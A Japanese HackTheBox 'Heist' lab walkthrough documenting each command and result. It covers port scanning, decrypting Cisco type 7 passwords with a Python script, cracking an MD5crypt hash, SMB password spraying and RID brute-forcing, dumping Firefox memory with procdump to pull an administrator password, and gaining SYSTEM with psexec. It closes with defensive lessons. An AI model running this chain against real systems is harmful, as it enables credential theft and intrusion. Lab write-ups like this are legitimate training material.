HackTheBox: Heist — 全実行コマンド・実行結果レポート
Nmap スキャン
80/135/445/5985/49669
→
80/135/445/5985/49669
Guestログイン
Issuesポータル(IIS)
→
Issuesポータル(IIS)
Cisco設定ファイル発見
Hazardの投稿添付
→
Hazardの投稿添付
type7復号 + type5 crack
XLATテーブル / john
→
XLATテーブル / john
SMBパスワードスプレー
+ RIDブルートフォース
→
+ RIDブルートフォース
WinRM Chase ログイン
user.txt ✓
→
user.txt ✓
Firefoxプロセスのメモリダンプ
procdump + strings
→
procdump + strings
Administrator資格情報抽出
Issuesログインフォームの平文
→
Issuesログインフォームの平文
psexec Administrator → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.99
RESULT
PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 445/tcp open microsoft-ds 5985/tcp open wsman (WinRM) 49669/tcp open msrpc
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 80,135,445,5985,49669 10.129.86.99
RESULT
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds Windows 10 / Server 2019 (name:SUPPORTDESK) (domain:SupportDesk)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
ℹ️
ホスト名 SUPPORTDESK、ドメインSupportDesk(ワークグループ的な単体ドメイン)。
WinRM(5985)が開いているため、有効な資格情報を得られれば
evil-winrm等で直接シェルを取れる見込み。
SMB匿名アクセスの確認
BASH
smbclient -L //10.129.86.99 -N smbmap -H 10.129.86.99
RESULT
session setup failed: NT_STATUS_ACCESS_DENIED
ℹ️
SMB匿名アクセスは不可。この時点では資格情報が無いため、
Web(80)側から足がかりを探す。
PHASE 2
Issuesポータルへの Guest ログイン & Cisco設定ファイルの発見
Webアプリの確認
BASH
curl -sI http://10.129.86.99/ curl -s http://10.129.86.99/login.php | grep -i title
RESULT
HTTP/1.1 302 Found
Location: login.php
X-Powered-By: PHP/7.3.1
<title>Support Login Page</title>
ℹ️
社内サポート問い合わせ用の”Issues”(問題管理)ポータル。
ログインページにはGuestログイン用のボタンが用意されている
(サポート担当者以外も問い合わせ内容を閲覧できるようにする設計)。
Guestとしてログイン
BASH
curl -s -c cookies.txt -X POST http://10.129.86.99/login.php \ --data "login_username=&login_password=&login_guest=Guest" curl -s -b cookies.txt http://10.129.86.99/issues.php -o issues.html
RESULT
(ログイン成功、issues.php のCookie付きアクセスでサポート問い合わせ一覧を取得)
Hazardユーザーの投稿からCisco設定ファイルを発見
NOTE
issues.php の一覧の中に、ユーザー "Hazard" が投稿した問い合わせがあり、 "自作のCiscoルータ設定ファイルをアップロードしたが見てもらえますか" という 内容の添付ファイル(.txt)が存在する。これをダウンロードして確認する。
BASH
# ブラウザでissues.phpを開き、Hazardの投稿にある添付ファイルのリンクから # routerconfig.txt (ファイル名は例)をダウンロード curl -s -b cookies.txt "http://10.129.86.99/attachments/<ファイル名>" -o routerconfig.txt cat routerconfig.txt
RESULT (抜粋)
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 ! line vty 0 4 password 7 02375012182C1A1D751618034F36415408 login local transport input telnet
🚨
決定的な発見! Ciscoルータ設定ファイル内に、
type 5(MD5crypt、クラック可能)とtype 7(Vigenere系の
可逆暗号、固定アルゴリズムで即座に復号可能)の2種類のパスワードハッシュが
含まれている。
PHASE 3
Cisco type7 復号 & type5 クラック
Cisco type7 の仕組みと復号
NOTE
Cisco IOSの "type 7" パスワード暗号化は、固定の88バイトの変換テーブル(XLAT)を 使ったXOR式の可逆暗号で、強度は実質ゼロ(アルゴリズムが公開されており 誰でも即座に復号できる)。先頭2桁が「テーブル内の開始オフセット」、 残りが暗号化されたペア文字列(16進数)になっている。
PYTHON (type7復号)
XLAT = [
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69,
0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53,
0x55, 0x42, 0x73, 0x67, 0x76, 0x63, 0x61, 0x36, 0x39, 0x38, 0x33, 0x34,
0x6e, 0x63, 0x78, 0x76, 0x39, 0x38, 0x37, 0x33, 0x32, 0x35, 0x34, 0x6b,
0x3b, 0x66, 0x67, 0x38, 0x37, 0x4b, 0x44, 0x4b, 0x37, 0x37, 0x33, 0x66,
0x68, 0x6e, 0x76, 0x6f, 0x73, 0x6d, 0x66, 0x6c, 0x7a, 0x6d, 0x73, 0x6c,
0x66, 0x6a, 0x6c, 0x76, 0x6b, 0x73, 0x65, 0x72, 0x76, 0x66, 0x66, 0x6b,
0x66, 0x6f, 0x75, 0x79,
]
def cisco_type7_decrypt(enc: str) -> str:
seed = int(enc[:2])
data = bytes.fromhex(enc[2:])
return "".join(chr(b ^ XLAT[(seed + i) % len(XLAT)]) for i, b in enumerate(data))
print(cisco_type7_decrypt("0242114B0E143F015F5D1E161713"))
print(cisco_type7_decrypt("02375012182C1A1D751618034F36415408"))
RESULT
0242114B0E143F015F5D1E161713 -> $uperP@ssword 02375012182C1A1D751618034F36415408 -> Q4)sJu\Y8qz*A3?d
✅
2つのtype7パスワードを即座に復号。
rout3rユーザーのパスワードが
$uperP@ssword、vty(telnet)ログイン用パスワードが
Q4)sJu\Y8qz*A3?dと判明(後者は後でWindowsのChaseユーザーの
パスワードとして再利用されていることが分かる)。
type5 (MD5crypt) のクラック
BASH
echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > type5.hash john --wordlist=/usr/share/wordlists/rockyou.txt type5.hash john --show type5.hash # あるいは hashcat (-m 500 = md5crypt) hashcat -m 500 -a 0 type5.hash /usr/share/wordlists/rockyou.txt hashcat -m 500 type5.hash /usr/share/wordlists/rockyou.txt --show
RESULT
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants))
?:stealth1agent
1 password hash cracked, 0 left
✅
enable secret(特権モードパスワード)のクラックに成功:
stealth1agent。この時点で3つのパスワード候補
($uperP@ssword / Q4)sJu\Y8qz*A3?d / stealth1agent)が
手に入った。
PHASE 4
SMBパスワードスプレー & RIDブルートフォース → user.txt
既知ユーザー × 3パスワードでSMBスプレー
BASH
cat > users.txt << EOF Hazard Administrator support Chase Jason EOF cat > pass.txt << EOF \$uperP@ssword Q4)sJu\Y8qz*A3?d stealth1agent EOF netexec smb 10.129.86.99 -u users.txt -p pass.txt --continue-on-success
RESULT
SMB 10.129.86.99 445 SUPPORTDESK [*] Windows 10 / Server 2019 ... (name:SUPPORTDESK) (domain:SupportDesk) SMB 10.129.86.99 445 SUPPORTDESK [-] SupportDesk\Hazard:$uperP@ssword STATUS_LOGON_FAILURE ... SMB 10.129.86.99 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d ... SMB 10.129.86.99 445 SUPPORTDESK [+] SupportDesk\Hazard:stealth1agent
✅
2件のクレデンシャルがヒット!
Hazard:stealth1agent と
Chase:Q4)sJu\Y8qz*A3?d。ただしHazardはWinRM権限が無く(後述)、
ChaseのパスワードがそのままWindowsログインに再利用されている
ことが決定的に重要。
RIDブルートフォースで追加ユーザーを列挙
BASH
# 有効な資格情報(Chase)を使ってRID(セキュリティ識別子の連番)を # 総当たりし、通常のユーザー一覧取得(net user等)が封じられていても # ドメイン内のアカウント名を列挙する netexec smb 10.129.86.99 -u Chase -p 'Q4)sJu\Y8qz*A3?d' --rid-brute
RESULT
500: SUPPORTDESK\Administrator (SidTypeUser) 501: SUPPORTDESK\Guest (SidTypeUser) 1008: SUPPORTDESK\Hazard (SidTypeUser) 1009: SUPPORTDESK\support (SidTypeUser) 1012: SUPPORTDESK\Chase (SidTypeUser) 1013: SUPPORTDESK\Jason (SidTypeUser)
WinRMでの認証確認 & user.txt取得
BASH
netexec winrm 10.129.86.99 -u Chase -p 'Q4)sJu\Y8qz*A3?d'
RESULT
WINRM 10.129.86.99 5985 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)
✅
(Pwn3d!)は netexec が「この資格情報でWinRM経由のコード実行が
可能」と判定した印。Hazardには同じ権限が無かった(Remote Management
Usersグループ外)が、Chaseは該当グループに属しているため
フルシェル操作が可能。
BASH
# evil-winrm で対話シェルに入る場合 evil-winrm -i 10.129.86.99 -u Chase -p 'Q4)sJu\Y8qz*A3?d' # ワンライナーで直接フラグを読む場合 (netexec -x) netexec winrm 10.129.86.99 -u Chase -p 'Q4)sJu\Y8qz*A3?d' \ -x 'type C:\Users\Chase\Desktop\user.txt'
RESULT
[+] Executed command (shell type: powershell)
9661113354f8541306a041ce235a9fed
user.txt — Chase
9661113354f8541306a041ce235a9fed
PHASE 5
権限昇格の下調べ — Firefoxプロセスのメモリ調査
Chaseのデスクトップ上で稼働中のプロセス確認
BASH
evil-winrm シェル内: *Evil-WinRM* PS C:\Users\Chase\Desktop> Get-Process firefox
RESULT
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
1234 123 98765 150000 987 12.3 6504 firefox
🚨
Chaseユーザーのセッションで Firefox が実行中。これは
「IT担当者がIssuesポータルに管理者権限でログインしたままブラウザを
開いている」可能性を示す重要な手掛かり。ブラウザのプロセスメモリ内には
平文の認証情報(フォーム送信データ)が残っている可能性が高い。
procdump でメモリダンプを取得
BASH
# Sysinternals の procdump64.exe を事前にアップロードしておく *Evil-WinRM* PS C:\Users\Chase\Desktop> upload procdump64.exe *Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe -accepteula -ma 6504 firefox_dump.dmp
RESULT
ProcDump v10.x - Sysinternals process dump utility ... Dump 1 initiated: C:\Users\Chase\Desktop\firefox_dump.dmp Dump 1 writing: Estimated dump file size is 400 MB. Dump 1 complete: 400 MB written in 12.3 seconds Dump count reached.
ダンプファイルの回収 & 文字列解析
BASH
# Kali側に回収 *Evil-WinRM* PS C:\Users\Chase\Desktop> download firefox_dump.dmp # ブラウザのログインフォーム送信データが平文のまま残っていることを期待し、 # "login_password" というキー名(Issuesポータルのフォームの input name)で検索 strings firefox_dump.dmp | grep -i "login_password"
RESULT
login_username=Administrator&login_password=4dD!5}x/re8]FBuZ
✅
決定的な発見! firefoxのメモリ内に、IssuesポータルへAdministrator
として再ログインしようとした際のPOSTデータが平文で残っていた。
ブラウザはフォーム送信直後のメモリをすぐには消去しないため、procdumpで
キャプチャしたタイミング次第でこうした機密情報がそのまま見つかることがある。
PHASE 6
Administrator 権限奪取 → root.txt
抽出したAdministrator資格情報での認証確認
BASH
netexec smb 10.129.86.99 -u Administrator -p '4dD!5}x/re8]FBuZ'
RESULT
SMB 10.129.86.99 445 SUPPORTDESK [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)
✅
Windowsのローカル
Administratorアカウントのパスワードと
完全に一致。IssuesポータルのWebアプリのAdministrator用ログイン情報が
OS側のAdministratorパスワードと同じという、パスワード再利用の
典型的な設計ミス。
psexec でシェルを取得し root.txt を取得
BASH
# wmiexec は環境によってはタイムアウトすることがあるため、 # サービスベースのpsexecの方が確実な場合がある impacket-psexec 'Administrator:4dD!5}x/re8]FBuZ@10.129.86.99' # または直接ワンライナーでフラグを読む impacket-psexec 'Administrator:4dD!5}x/re8]FBuZ@10.129.86.99' \ cmd.exe /c type C:\Users\Administrator\Desktop\root.txt
RESULT
[*] Requesting shares on 10.129.86.99.....
[*] Found writable share ADMIN$
[*] Uploading file <ランダム名>.exe
[*] Opening SVCManager on 10.129.86.99.....
[*] Creating service <ランダム名> on 10.129.86.99.....
[*] Starting service <ランダム名>.....
[!] Press help for extra shell commands
a57f63912800a203971f3e36604cf520
[*] Process cmd.exe /c type ... finished with ErrorCode: 0, ReturnCode: 0
✅
権限昇格成功! psexecは対象機にサービスとして実行ファイルを
アップロード・起動する方式のため、NT AUTHORITY\SYSTEM相当(実質
Administrator)の権限でコマンドを実行できる。
root.txt — Administrator
a57f63912800a203971f3e36604cf520
ℹ️
wmiexecがタイムアウトする場合は、psexec(サービス経由)や
evil-winrm -i target -u Administrator -p '...'で代替できる。
終了時にpsexecが一時サービス・一時ファイルを削除する際、SMBパイプの
クローズに伴う無害な例外(STATUS_PIPE_BROKEN)がログに出ることが
あるが、フラグ取得後の後片付け処理なので実害は無い。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Chase
9661113354f8541306a041ce235a9fed
root.txt — Administrator
a57f63912800a203971f3e36604cf520
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Guestアクセス可能なサポートポータル | IIS "Issues" ポータル (login.php) | 社内の問い合わせ内容・添付ファイルの閲覧 | Medium | Guestログイン機能からHazardの投稿に添付されたCiscoルータ設定ファイルを閲覧 |
| Cisco type7 可逆暗号 | ルータ設定ファイル内のtype7パスワード | 平文パスワードの即時復元 | High | 固定XLATテーブルによるXOR復号アルゴリズムで即座に平文化 |
| 弱いenable secret(type5) | enable secret 5 (md5crypt) | john/hashcatによるオフラインクラック | Medium | rockyou.txtでの辞書攻撃により即時クラック成功 |
| パスワード再利用 | ルータ用パスワード ↔ Windowsドメインアカウント | SMB/WinRM認証突破(user.txt) | High | Ciscoルータ設定から得たパスワードをWindowsアカウントにスプレーしChaseでヒット |
| ブラウザメモリ内の平文認証情報 | Chaseセッションで稼働中のFirefoxプロセス | Administrator権限の奪取(root.txt) | Critical | procdumpでメモリダンプし、フォーム送信データ(login_password)を平文のまま回収 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート | 80/135/445/5985/49669、ホスト名SUPPORTDESK |
| 2 | Guestアクセス | Issuesポータルへのguestログイン | Hazard投稿の添付Cisco設定ファイル |
| 3 | パスワード復号/クラック | type7 XLAT復号 + type5 john/hashcat | $uperP@ssword / Q4)sJu\Y8qz*A3?d / stealth1agent の3候補 |
| 4 | スプレー+RID列挙 | netexec smb スプレー + --rid-brute | Chase:Q4)sJu\Y8qz*A3?d 有効、追加ユーザー(support/Jason)判明、user.txt取得 |
| 5 | 権限調査 | Get-Process + procdump | Firefoxメモリダンプからログインフォーム平文データ |
| 6 | 権限昇格 | Administrator:4dD!5}x/re8]FBuZ でpsexec | root.txt 取得 |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
| netexecでHazardのパスワードは通るがWinRM経由のコマンド実行ができない | SMB認証自体は成功しても、WinRM(リモート管理)を使うには対象ユーザーがRemote Management Usersグループに所属している必要がある。Hazardは所属しておらずChaseのみ所属していた。--rid-bruteで全ユーザーを洗い出し、それぞれ資格情報を試すこと。 |
| netexec -x でcmdシェル実行が "has no 'Invoke' rights" と失敗する | 一部環境ではcmd形式の実行が制限されている。netexecは自動的にpowershell形式へフォールバックして成功することがある(shell type: powershellのログを確認)。 |
| impacket-wmiexecがタイムアウトして応答しない | wmiexecはDCOM/WMI経由のため環境依存でハングすることがある。impacket-psexec(SMBサービス経由)に切り替えると確実に動作することが多い。 |
| procdumpでメモリダンプしても認証情報が見つからない場合がある | ブラウザがログインフォームを送信した直後のタイミングでなければメモリから該当データがガベージコレクションされ消えている可能性がある。複数回試行するか、一定時間待ってから再度ダンプを取ると見つかることがある。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| サポートポータルにGuestアクセスがあり、他ユーザーの投稿・添付ファイルまで閲覧できる | Guestアクセスは最小限の機能(新規問い合わせ投稿のみ等)に限定し、他ユーザーの投稿内容・添付ファイルへのアクセスを権限管理で制限する。 |
| Ciscoルータ設定ファイルを社内ポータルにそのまま添付・共有している、かつtype7という既知の弱い暗号化を使用 | 設定ファイルを社外・社内問わず共有ファイルとして扱わない。enable secretは必ずtype8/9(より強固なハッシュ)を使用し、type7は廃止する。 |
| ルータ機器用パスワードがWindowsドメインアカウントのパスワードと共通 | システム・機器ごとに個別のパスワードを使用し、パスワードマネージャー等で一意性を保証する。 |
| 管理者がブラウザで本番システムに頻繁に再ログインし、その資格情報がプロセスメモリに残る | 管理者権限でのWebログインは必要最小限に留め、可能であればSSO/多要素認証や短命トークンに置き換える。踏み台(管理用の別セッション/VM)から行い、一般ユーザーの作業端末で管理者ログインを行わない運用にする。 |

